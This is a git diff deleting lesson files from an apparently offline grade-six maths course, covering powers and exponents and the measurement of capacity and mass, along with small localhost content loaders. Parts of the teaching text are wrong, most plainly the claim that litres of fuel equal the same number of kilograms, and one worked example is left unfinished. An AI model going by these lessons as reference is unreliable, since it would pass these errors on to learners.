+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a02/source.txt b/Save_Mathematics/P6/map611m12/map611m12a02/source.txt
deleted file mode 100644
index 248032f..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a02/source.txt
+++ /dev/null
@@ -1,211 +0,0 @@
-<h3 style="text-align: left;">
- Guided Practice
-</h3>
-<h3 style="text-align: left;">
- Example 1:Find the value of the following powers (exponents) using a table:
-</h3>
-<table style="text-align: left; margin-left: 0px; margin-right: auto;" border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     POWERS
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Multiplication
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Values
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Nuber of times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      1
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*1
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears once
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      2
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     16
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4appears two times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      3
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     64
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears three times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      4
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     256
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears four times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      5
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     1024
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears five times
-    </h3>
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- Example 2 :Addition of powers
- <br />
- 5
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- =(5*5)+(4*4*4)
- <br />
- =25+(16*4)
- <br />
- =25+64
- <br />
- <br />
- Knowledge: 5
- <sup>
-  2
-  <br />
- </sup>
- 5 is base,while 2 is the power or exponent
- <br />
- As this example above shows that,when we have addition,we find out each term separately and then we add the values found.
- <br />
- <br />
- Example 3 :Subtraction
- <br />
- <br />
- 5
- <sup>
-  4
- </sup>
- -4
- <sup>
-  3
- </sup>
- =(5*5*5*5)-(4*4*4)
- <br />
- =(25*5*5)-(16*4)
- <br />
- =(125*5)-64
- <br />
- =625-64
- <br />
- =561
- <br />
- Knowledge:
- <br />
- <br />
- When we have subtraction of powers,we find out each term separately and then we subtract the values.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a03/a.txt b/Save_Mathematics/P6/map611m12/map611m12a03/a.txt
deleted file mode 100644
index a8fac3c..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a03/a.txt
+++ /dev/null
@@ -1,79 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1.How many times the following numbers appear?53-
- <br />
- a.9*9*9
- <br />
- b.6
- <sup>
-  4
- </sup>
- <br />
- <br />
- 2.What is the value of the following?
- <br />
- a.7
- <sup>
-  3
- </sup>
- <br />
- b.8
- <sup>
-  4
- </sup>
- <br />
- c.10
- <sup>
-  3
- </sup>
- <br />
- <br />
- 3.Work out the following
- <sup>
-  <sub>
-   :
-  </sub>
-  <br />
-  a.
- </sup>
- 5
- <sup>
-  3
- </sup>
- -3
- <sup>
-  3
- </sup>
- <br />
- b.5
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- <br />
- c.9
- <sup>
-  2
- </sup>
- +7
- <sup>
-  3
- </sup>
- <br />
- d.6
- <sup>
-  4
- </sup>
- -8
- <sup>
-  3
- </sup>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a03/description.py b/Save_Mathematics/P6/map611m12/map611m12a03/description.py
deleted file mode 100644
index c455041..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a03/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a03/lesson.js
deleted file mode 100644
index 2b0b191..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a03/source.txt b/Save_Mathematics/P6/map611m12/map611m12a03/source.txt
deleted file mode 100644
index a8fac3c..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a03/source.txt
+++ /dev/null
@@ -1,79 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1.How many times the following numbers appear?53-
- <br />
- a.9*9*9
- <br />
- b.6
- <sup>
-  4
- </sup>
- <br />
- <br />
- 2.What is the value of the following?
- <br />
- a.7
- <sup>
-  3
- </sup>
- <br />
- b.8
- <sup>
-  4
- </sup>
- <br />
- c.10
- <sup>
-  3
- </sup>
- <br />
- <br />
- 3.Work out the following
- <sup>
-  <sub>
-   :
-  </sub>
-  <br />
-  a.
- </sup>
- 5
- <sup>
-  3
- </sup>
- -3
- <sup>
-  3
- </sup>
- <br />
- b.5
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- <br />
- c.9
- <sup>
-  2
- </sup>
- +7
- <sup>
-  3
- </sup>
- <br />
- d.6
- <sup>
-  4
- </sup>
- -8
- <sup>
-  3
- </sup>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a04/a.txt b/Save_Mathematics/P6/map611m12/map611m12a04/a.txt
deleted file mode 100644
index c664e7c..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a04/a.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- Find the value of the following:
- <br />
- <br />
- a.9
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- <br />
- b.8
- <sup>
-  4
- </sup>
- +2
- <sup>
-  3
- </sup>
- <br />
- c.9
- <sup>
-  3
- </sup>
- -5
- <sup>
-  4
- </sup>
- <br />
- d.6
- <sup>
-  4
- </sup>
- -4
- <sup>
-  3
- </sup>
- <br />
- e.7
- <sup>
-  3
- </sup>
- +3
- <sup>
-  3
- </sup>
- <br />
- f.7
- <sup>
-  3
- </sup>
- -3
- <sup>
-  3
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a04/description.py b/Save_Mathematics/P6/map611m12/map611m12a04/description.py
deleted file mode 100644
index c174c00..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a04/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a04/lesson.js
deleted file mode 100644
index 4477aef..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a04/source.txt b/Save_Mathematics/P6/map611m12/map611m12a04/source.txt
deleted file mode 100644
index c664e7c..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a04/source.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- Find the value of the following:
- <br />
- <br />
- a.9
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- <br />
- b.8
- <sup>
-  4
- </sup>
- +2
- <sup>
-  3
- </sup>
- <br />
- c.9
- <sup>
-  3
- </sup>
- -5
- <sup>
-  4
- </sup>
- <br />
- d.6
- <sup>
-  4
- </sup>
- -4
- <sup>
-  3
- </sup>
- <br />
- e.7
- <sup>
-  3
- </sup>
- +3
- <sup>
-  3
- </sup>
- <br />
- f.7
- <sup>
-  3
- </sup>
- -3
- <sup>
-  3
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a05/a.txt b/Save_Mathematics/P6/map611m12/map611m12a05/a.txt
deleted file mode 100644
index f1751be..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a05/a.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- In multiplication,the number an appear more times.That number is called power or exponent when the number of times the same number is multiplied itself.
- <br />
- Example:
- <br />
- .two appears once,we write 2
- <sup>
-  1
- </sup>
- <br />
- .two appears twince,we write 2
- <sup>
-  2
- </sup>
- <br />
- .two appears three times,we write 2
- <sup>
-  3
- </sup>
- <br />
- <br />
- Find the value of the following:
- <br />
- a.6
- <sup>
-  2
- </sup>
- -4
- <sup>
-  2
- </sup>
- <br />
- b.8
- <sup>
-  2
- </sup>
- -2
- <sup>
-  4
- </sup>
- <br />
- c.7
- <sup>
-  3
- </sup>
- +3
- <sup>
-  2
- </sup>
- <br />
- d.9
- <sup>
-  2
- </sup>
- +5
- <sup>
-  2
- </sup>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a05/description.py b/Save_Mathematics/P6/map611m12/map611m12a05/description.py
deleted file mode 100644
index a80a7da..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a05/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a05/lesson.js
deleted file mode 100644
index 384b640..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a05/source.txt b/Save_Mathematics/P6/map611m12/map611m12a05/source.txt
deleted file mode 100644
index f1751be..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a05/source.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- In multiplication,the number an appear more times.That number is called power or exponent when the number of times the same number is multiplied itself.
- <br />
- Example:
- <br />
- .two appears once,we write 2
- <sup>
-  1
- </sup>
- <br />
- .two appears twince,we write 2
- <sup>
-  2
- </sup>
- <br />
- .two appears three times,we write 2
- <sup>
-  3
- </sup>
- <br />
- <br />
- Find the value of the following:
- <br />
- a.6
- <sup>
-  2
- </sup>
- -4
- <sup>
-  2
- </sup>
- <br />
- b.8
- <sup>
-  2
- </sup>
- -2
- <sup>
-  4
- </sup>
- <br />
- c.7
- <sup>
-  3
- </sup>
- +3
- <sup>
-  2
- </sup>
- <br />
- d.9
- <sup>
-  2
- </sup>
- +5
- <sup>
-  2
- </sup>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a06/a.txt b/Save_Mathematics/P6/map611m12/map611m12a06/a.txt
deleted file mode 100644
index f53e7c2..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a06/a.txt
+++ /dev/null
@@ -1,105 +0,0 @@
-<p>
- <strong>
-  Enrichment
- </strong>
-</p>
-<p>
- Answer the following:
- <br />
- <br />
- 1.From Monday to Fridy,we finish our lessons at 9:30 am and we go for break immediatery.How many times we go for break from Monday to Friday?
- <br />
- <br />
- 2.If we get five visitors on Monday,on Wednesday and on Friday,how mny times we get visitors.
- <br />
- <br />
- .Write the power of the said number and find out its value.
- <br />
- <br />
- 3.Complete the table below:
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="vertical-align: top;">
-    Powers in numbers
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    Values
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    9
-    <sup>
-     2
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    9*9=81
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    ........................
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6*6*6=................
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    7
-    <sup>
-     ?
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    ................=343
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    8
-    <sup>
-     ?
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    8*8*8*8=...............
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a06/description.py b/Save_Mathematics/P6/map611m12/map611m12a06/description.py
deleted file mode 100644
index 43a549f..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a06/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a06/lesson.js
deleted file mode 100644
index c6f6419..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a06/source.txt b/Save_Mathematics/P6/map611m12/map611m12a06/source.txt
deleted file mode 100644
index f53e7c2..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a06/source.txt
+++ /dev/null
@@ -1,105 +0,0 @@
-<p>
- <strong>
-  Enrichment
- </strong>
-</p>
-<p>
- Answer the following:
- <br />
- <br />
- 1.From Monday to Fridy,we finish our lessons at 9:30 am and we go for break immediatery.How many times we go for break from Monday to Friday?
- <br />
- <br />
- 2.If we get five visitors on Monday,on Wednesday and on Friday,how mny times we get visitors.
- <br />
- <br />
- .Write the power of the said number and find out its value.
- <br />
- <br />
- 3.Complete the table below:
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="vertical-align: top;">
-    Powers in numbers
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    Values
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    9
-    <sup>
-     2
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    9*9=81
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    ........................
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6*6*6=................
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    7
-    <sup>
-     ?
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    ................=343
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    8
-    <sup>
-     ?
-    </sup>
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    8*8*8*8=...............
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/activities.js b/Save_Mathematics/P6/map611m13/activities.js
deleted file mode 100755
index 22e429e..0000000
--- a/Save_Mathematics/P6/map611m13/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m13a01','blue'],
-['2','2','map6','basic','map611m13a02','blue'],
-['3','3','map6','basic','map611m13a03','blue'],
-['4','4','map6','basic','map611m13a04','blue'],
-['5','5','map6','basic','map611m13a05','blue'],
-['6','6','map6','basic','map611m13a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m13/map611m13a01/a.txt b/Save_Mathematics/P6/map611m13/map611m13a01/a.txt
deleted file mode 100644
index 876dd22..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a01/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION
-  <br />
-  <br />
- </span>
- For facilitating the digestion, our body needs water, juice, milk, (drinks in general)
- <span style="font-weight: bold;">
-  .
-  <br />
- </span>
- The water occupies 3/4 of the body. we can find different containers o water, milk or fuel.
- <br />
- Through those containers, it is easy to know the capacity, the weight or mass of each container. Those are used to measure the capacity and mass of the container.
- <br />
- <br />
- Those measurements are often used in every day life, if you think that I'm lying you can consider the following examples in order to be conviced:
- <br />
- <br />
- 1) What amount of water is in the bottle?
-</p>
-<ul>
- <li>
-  1 litre or one kilogram
- </li>
- <li>
-  A half litre or 1/2 kilogram
- </li>
- <li>
-  2 litres or 2 kilograams
- </li>
-</ul>
-<p>
- 2) What amount of fuel is in the jeerrycan?
-</p>
-<ul>
- <li>
-  20 litres of fuel or 20 kilograms
- </li>
-</ul>
-<p>
- 3) A soda bottle holds which amount of quantity?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a01/description.py b/Save_Mathematics/P6/map611m13/map611m13a01/description.py
deleted file mode 100644
index cc5675b..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m13a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m13/map611m13a01/lesson.js b/Save_Mathematics/P6/map611m13/map611m13a01/lesson.js
deleted file mode 100644
index 518db10..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m13/map611m13a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m13/map611m13a01/source.txt b/Save_Mathematics/P6/map611m13/map611m13a01/source.txt
deleted file mode 100644
index 876dd22..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a01/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION
-  <br />
-  <br />
- </span>
- For facilitating the digestion, our body needs water, juice, milk, (drinks in general)
- <span style="font-weight: bold;">
-  .
-  <br />
- </span>
- The water occupies 3/4 of the body. we can find different containers o water, milk or fuel.
- <br />
- Through those containers, it is easy to know the capacity, the weight or mass of each container. Those are used to measure the capacity and mass of the container.
- <br />
- <br />
- Those measurements are often used in every day life, if you think that I'm lying you can consider the following examples in order to be conviced:
- <br />
- <br />
- 1) What amount of water is in the bottle?
-</p>
-<ul>
- <li>
-  1 litre or one kilogram
- </li>
- <li>
-  A half litre or 1/2 kilogram
- </li>
- <li>
-  2 litres or 2 kilograams
- </li>
-</ul>
-<p>
- 2) What amount of fuel is in the jeerrycan?
-</p>
-<ul>
- <li>
-  20 litres of fuel or 20 kilograms
- </li>
-</ul>
-<p>
- 3) A soda bottle holds which amount of quantity?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m13/map611m13a02/a.txt b/Save_Mathematics/P6/map611m13/map611m13a02/a.txt
deleted file mode 100644
index 3d6da34..0000000
--- a/Save_Mathematics/P6/map611m13/map611m13a02/a.txt
+++ /dev/null
@@ -1,1079 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1: Measurement of capacity.
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    hl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    dal
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    l
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    dl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    cl
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    ml
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Hectolitre(hl)
-    <br />
-    Decalitre(dal)
-    <br />
-    Litre(l)
-    <br />
-    Decilitre(dl)
-    <br />
-    Centilitre(cl)
-    <br />
-    Millilitre(ml)
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    1hl=10dal
-    <br />
-    1hl=100l
-    <br />
-    1hl=1000dl
-    <br />
-    1hl=10 000cl
-    <br />
-    1hl=100 000ml
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- To convertunits from left to right you multiply by ten to get the nearest unit.
- <br />
- The standard unit in measurement of cappacity is litre (l).
- <br />
- <br />
- Example2: Measurements of mass.
- <br />
- Table for converting mesurements of mass
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="10%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Q
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Kg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Dag
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
